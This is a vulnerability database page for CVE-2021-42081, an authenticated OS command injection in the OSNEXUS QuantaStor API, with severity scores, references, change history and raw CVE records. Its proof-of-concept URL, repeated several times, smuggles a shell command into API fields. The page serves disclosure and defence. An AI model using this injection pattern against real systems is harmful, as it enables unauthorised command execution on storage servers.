CVE-2021-42081 - Vulnerability Details - OpenCVE

An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

No CVSS v4.0

Attack Vector Network

Attack Complexity Low

Privileges Required High

Scope Changed

Confidentiality Impact High

Integrity Impact High

Availability Impact High

User Interaction None

No CVSS v3.0

No CVSS v2

This CVE is not in the KEV list.

Exploitation none

Automatable no

Technical Impact total

Vendors	Products
Osnexus	Quantastor

Configuration 1 [-]

cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*

No data.

References

Link	Providers
https://csirt.divd.nl/CVE-2021-42081
https://csirt.divd.nl/DIVD-2021-00020/
https://www.divd.nl/DIVD-2021-00020
https://www.osnexus.com/products/software-defined-storage
https://www.wbsec.nl/osnexus

History

Mon, 22 Sep 2025 06:45:00 +0000

Type	Values Removed	Values Added
Description	An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.	An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API. POC http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al

Fri, 22 Nov 2024 12:00:00 +0000

Type	Values Removed	Values Added
References		https://www.divd.nl/DIVD-2021-00020

Tue, 12 Nov 2024 15:15:00 +0000

Type	Values Removed	Values Added
Metrics		ssvc `{'options': {'Automatable': 'no', 'Exploitation': 'none', 'Technical Impact': 'total'}, 'version': '2.0.3'}`

Wed, 16 Oct 2024 12:30:00 +0000

Type	Values Removed	Values Added
References	https://www.divd.nl/DIVD-2021-00020

Wed, 16 Oct 2024 12:00:00 +0000

Type	Values Removed	Values Added
References		https://csirt.divd.nl/DIVD-2021-00020/

MITRE

Status: PUBLISHED

Assigner: DIVD

Published: 2023-07-10T06:29:48.514Z

Updated: 2025-09-22T06:40:06.104Z

Reserved: 2021-10-07T17:12:57.678Z

Link: CVE-2021-42081

Vulnrichment

Updated: 2024-08-04T03:22:25.989Z

NVD

Status : Modified

Published: 2023-07-10T16:15:47.583

Modified: 2025-09-22T07:15:39.650

Link: CVE-2021-42081

Redhat

No data.

{"dataType": "CVE_RECORD", "dataVersion": "5.1", "cveMetadata": {"cveId": "CVE-2021-42081", "assignerOrgId": "b87402ff-ae37-4194-9dae-31abdbd6f217", "state": "PUBLISHED", "assignerShortName": "DIVD", "dateReserved": "2021-10-07T17:12:57.678Z", "datePublished": "2023-07-10T06:29:48.514Z", "dateUpdated": "2025-09-22T06:40:06.104Z"}, "containers": {"cna": {"affected": [{"defaultStatus": "unknown", "product": "QuantaStor", "vendor": "OSNEXUS", "versions": [{"lessThan": "6.0.0.355", "status": "affected", "version": "0", "versionType": "semver"}]}], "credits": [{"lang": "en", "type": "finder", "user": "00000000-0000-4000-9000-000000000000", "value": "Wietse Boonstra (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Frank Breedijk (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Victor Pasman (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Victor Gevers (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Max van der Horst (DIVD)"}, {"lang": "en", "type": "analyst", "value": "C\u00e9listine Oosting (DIVD)"}], "descriptions": [{"lang": "en", "supportingMedia": [{"base64": false, "type": "text/html", "value": "An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.<br><br>POC<br><tt>http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al</tt>"}], "value": "An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.\n\nPOC\nhttp://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al"}], "metrics": [{"cvssV3_1": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.1, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "version": "3.1"}, "format": "CVSS", "scenarios": [{"lang": "en", "value": "GENERAL"}]}], "problemTypes": [{"descriptions": [{"cweId": "CWE-78", "description": "CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "lang": "en", "type": "CWE"}]}], "providerMetadata": {"orgId": "b87402ff-ae37-4194-9dae-31abdbd6f217", "shortName": "DIVD", "dateUpdated": "2025-09-22T06:40:06.104Z"}, "references": [{"tags": ["third-party-advisory", "technical-description", "exploit"], "url": "https://www.wbsec.nl/osnexus"}, {"tags": ["third-party-advisory"], "url": "https://csirt.divd.nl/DIVD-2021-00020/"}, {"tags": ["product"], "url": "https://www.osnexus.com/products/software-defined-storage"}, {"tags": ["third-party-advisory", "technical-description", "exploit"], "url": "https://csirt.divd.nl/CVE-2021-42081"}], "solutions": [{"lang": "en", "supportingMedia": [{"base64": false, "type": "text/html", "value": "Upgrade to the latest version of OSNEXUS QuantaStor."}], "value": "Upgrade to the latest version of OSNEXUS QuantaStor."}], "source": {"discovery": "UNKNOWN"}, "title": "Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355", "x_generator": {"engine": "Vulnogram 0.1.0-dev"}}, "adp": [{"providerMetadata": {"orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2024-08-04T03:22:25.989Z"}, "title": "CVE Program Container", "references": [{"url": "https://www.wbsec.nl/osnexus", "tags": ["third-party-advisory", "x_transferred"]}, {"url": "https://www.divd.nl/DIVD-2021-00020", "tags": ["third-party-advisory", "x_transferred"]}, {"url": "https://www.osnexus.com/products/software-defined-storage", "tags": ["product", "x_transferred"]}, {"url": "https://csirt.divd.nl/CVE-2021-42081", "tags": ["third-party-advisory", "x_transferred"]}]}, {"metrics": [{"other": {"type": "ssvc", "content": {"timestamp": "2024-11-12T14:14:48.828227Z", "id": "CVE-2021-42081", "options": [{"Exploitation": "none"}, {"Automatable": "no"}, {"Technical Impact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}}], "title": "CISA ADP Vulnrichment", "providerMetadata": {"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2024-11-12T14:15:41.770Z"}}]}}

{"dataType": "CVE_RECORD", "containers": {"adp": [{"title": "CVE Program Container", "references": [{"url": "https://www.wbsec.nl/osnexus", "tags": ["third-party-advisory", "x_transferred"]}, {"url": "https://www.divd.nl/DIVD-2021-00020", "tags": ["third-party-advisory", "x_transferred"]}, {"url": "https://www.osnexus.com/products/software-defined-storage", "tags": ["product", "x_transferred"]}, {"url": "https://csirt.divd.nl/CVE-2021-42081", "tags": ["third-party-advisory", "x_transferred"]}], "providerMetadata": {"orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2024-08-04T03:22:25.989Z"}}, {"title": "CISA ADP Vulnrichment", "metrics": [{"other": {"type": "ssvc", "content": {"id": "CVE-2021-42081", "role": "CISA Coordinator", "options": [{"Exploitation": "none"}, {"Automatable": "no"}, {"Technical Impact": "total"}], "version": "2.0.3", "timestamp": "2024-11-12T14:14:48.828227Z"}}}], "providerMetadata": {"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2024-11-12T14:15:37.043Z"}}], "cna": {"title": "Authenticated Remote Command Execution vulnerability in OSNEXUS QuantaStor before 6.0.0.355", "source": {"discovery": "UNKNOWN"}, "credits": [{"lang": "en", "type": "finder", "user": "00000000-0000-4000-9000-000000000000", "value": "Wietse Boonstra (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Frank Breedijk (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Victor Pasman (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Victor Gevers (DIVD)"}, {"lang": "en", "type": "analyst", "value": "Max van der Horst (DIVD)"}, {"lang": "en", "type": "analyst", "value": "C\u00e9listine Oosting (DIVD)"}], "metrics": [{"format": "CVSS", "cvssV3_1": {"scope": "CHANGED", "version": "3.1", "baseScore": 9.1, "attackVector": "NETWORK", "baseSeverity": "CRITICAL", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "integrityImpact": "HIGH", "userInteraction": "NONE", "attackComplexity": "LOW", "availabilityImpact": "HIGH", "privilegesRequired": "HIGH", "confidentialityImpact": "HIGH"}, "scenarios": [{"lang": "en", "value": "GENERAL"}]}], "affected": [{"vendor": "OSNEXUS", "product": "QuantaStor", "versions": [{"status": "affected", "version": "0", "lessThan": "6.0.0.355", "versionType": "semver"}], "defaultStatus": "unknown"}], "solutions": [{"lang": "en", "value": "Upgrade to the latest version of OSNEXUS QuantaStor.", "supportingMedia": [{"type": "text/html", "value": "Upgrade to the latest version of OSNEXUS QuantaStor.", "base64": false}]}], "references": [{"url": "https://www.wbsec.nl/osnexus", "tags": ["third-party-advisory", "technical-description", "exploit"]}, {"url": "https://csirt.divd.nl/DIVD-2021-00020/", "tags": ["third-party-advisory"]}, {"url": "https://www.osnexus.com/products/software-defined-storage", "tags": ["product"]}, {"url": "https://csirt.divd.nl/CVE-2021-42081", "tags": ["third-party-advisory", "technical-description", "exploit"]}], "x_generator": {"engine": "Vulnogram 0.1.0-dev"}, "descriptions": [{"lang": "en", "value": "An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.\n\nPOC\nhttp://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al", "supportingMedia": [{"type": "text/html", "value": "An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.<br><br>POC<br><tt>http://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al</tt>", "base64": false}]}], "problemTypes": [{"descriptions": [{"lang": "en", "type": "CWE", "cweId": "CWE-78", "description": "CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"}]}], "providerMetadata": {"orgId": "b87402ff-ae37-4194-9dae-31abdbd6f217", "shortName": "DIVD", "dateUpdated": "2025-09-22T06:40:06.104Z"}}}, "cveMetadata": {"cveId": "CVE-2021-42081", "state": "PUBLISHED", "dateUpdated": "2025-09-22T06:40:06.104Z", "dateReserved": "2021-10-07T17:12:57.678Z", "assignerOrgId": "b87402ff-ae37-4194-9dae-31abdbd6f217", "datePublished": "2023-07-10T06:29:48.514Z", "assignerShortName": "DIVD"}, "dataVersion": "5.1"}

{"configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*", "matchCriteriaId": "5E101217-36C7-4C28-8C61-7744481D2D0E", "versionEndExcluding": "6.0.0.355", "vulnerable": true}], "negate": false, "operator": "OR"}]}], "cveTags": [], "descriptions": [{"lang": "en", "value": "An authenticated administrator is allowed to remotely execute arbitrary shell commands via the API.\n\nPOC\nhttp://<IP_ADDRESS>/qstorapi/storageSystemModify?storageSystem=&newName=quantastor&newDescription=;ls${IFS}-al&newLocation=4&newEnclosureLayoutId=5&newDnsServerList=;ls${IFS}-al&externalHostName=&newNTPServerList=;ls${IFS}-al"}], "id": "CVE-2021-42081", "lastModified": "2025-09-22T07:15:39.650", "metrics": {"cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.1, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 6.0, "source": "csirt@divd.nl", "type": "Secondary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.2, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.2, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2023-07-10T16:15:47.583", "references": [{"source": "csirt@divd.nl", "tags": ["Third Party Advisory"], "url": "https://csirt.divd.nl/CVE-2021-42081"}, {"source": "csirt@divd.nl", "url": "https://csirt.divd.nl/DIVD-2021-00020/"}, {"source": "csirt@divd.nl", "tags": ["Product"], "url": "https://www.osnexus.com/products/software-defined-storage"}, {"source": "csirt@divd.nl", "tags": ["Third Party Advisory"], "url": "https://www.wbsec.nl/osnexus"}, {"source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"], "url": "https://csirt.divd.nl/CVE-2021-42081"}, {"source": "af854a3a-2127-422b-91ae-364da2661108", "url": "https://www.divd.nl/DIVD-2021-00020"}, {"source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Product"], "url": "https://www.osnexus.com/products/software-defined-storage"}, {"source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"], "url": "https://www.wbsec.nl/osnexus"}], "sourceIdentifier": "csirt@divd.nl", "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-78"}], "source": "csirt@divd.nl", "type": "Secondary"}, {"description": [{"lang": "en", "value": "CWE-78"}], "source": "nvd@nist.gov", "type": "Primary"}]}